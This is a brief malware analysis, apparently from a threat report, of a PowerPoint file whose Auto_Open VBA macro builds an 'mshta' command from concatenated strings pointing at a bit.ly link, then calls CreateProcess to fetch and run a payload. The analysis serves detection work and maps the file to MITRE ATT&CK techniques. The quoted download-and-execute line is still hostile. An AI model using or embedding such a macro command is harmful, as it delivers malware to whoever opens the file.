MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The presence of an Auto_Open macro and a reference to the CreateProcess API indicates that this PowerPoint file is designed to execute malicious code upon opening. The VBA script attempts to construct a URL by concatenating strings: "msh" + "ta " + "http://www."+ "bitly.com/tyuwqghwqbsvaklajsmk", which is then passed to a function that likely downloads and executes a payload. This behavior is consistent with a macro-based downloader.
